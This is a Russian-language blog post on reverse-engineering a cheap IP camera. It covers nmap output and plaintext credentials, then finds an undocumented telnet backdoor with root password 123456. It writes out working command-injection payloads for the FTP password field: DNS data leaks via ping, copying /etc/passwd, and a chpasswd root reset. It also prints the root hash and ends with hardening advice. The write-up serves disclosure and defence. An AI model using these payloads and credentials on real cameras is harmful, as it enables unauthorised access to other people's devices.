Как я взломал свою ip-камеру и нашел там бекдор

в 13:47, , рубрики: hack, IoT, ipcamera, информационная безопасность, Разработка для интернета вещей, реверс-инжиниринг, метки:

Время пришло. Я купил себе второе IoT устройство в виде дешевой ip-камеры. Мои ожидания относящиеся к безопасности этой камеры были не высоки, это была самая дешевая камера из всех. Но она смогла меня удивить.

Как я взломал свою ip-камеру и нашел там бекдор - 1


Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль.

Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi. Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым.

Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён.

К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле:

"C:Users<USER>AppDataLocalVirtualStoreProgram Files (x86)<REDACTED>list.dat"

Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер.

Натравим nmap на это устройство.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим. Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.

Слепая инъекция двойной команды

IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной инъекцией слепой команды. Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит.

Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог:

$(ping%20-c%202%20%60pwd%60)

Или та же команда в читаемом виде:

$(ping -c 2 `pwd`)

но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали. Весёлые времена.

Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…

Я даже пытался использовать commix, из видео на Youtube он подавал большие надежды. Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.

Как я взломал свою ip-камеру и нашел там бекдор - 2

После многочисленных неудачных попыток, я наконец-то нашёл пароль. Сезам откройся.

$(echo 'root:passwd'|chpasswd)

Логинимся через telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Вау Вау :) Я быстро нашёл место, куда инъектилась моя команда:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Всякий раз когда мы вводим команду в поле пароля, она копируется в этот скрипт, который затем отрабатывается интерпретатором. После этого я испугался, что забыл сохранить содержимое /etc/passwd, так как собирался взломать ещё и дефолтный пароль на telnet. К счастью, ребут восстановил исходные данные.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем пароль багажа.

Как я взломал свою ip-камеру и нашел там бекдор - 3

Пора резюмировать то, что у нас есть. Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это безопасно, чтобы сказать, что это бэкдор.

С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию.

И последнее, всё работает от root`а, что не удивительно.

Мой список изменений

Я добавил эти строки в конец файла /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh.

Если хотите, отключите подключение к облаку (вы не мсожете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС.

99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.

Как я взломал свою ip-камеру и нашел там бекдор - 4

Так что, когда Вы в следующем эпизоде ​​Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность.

Автор: GH0st3rs

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js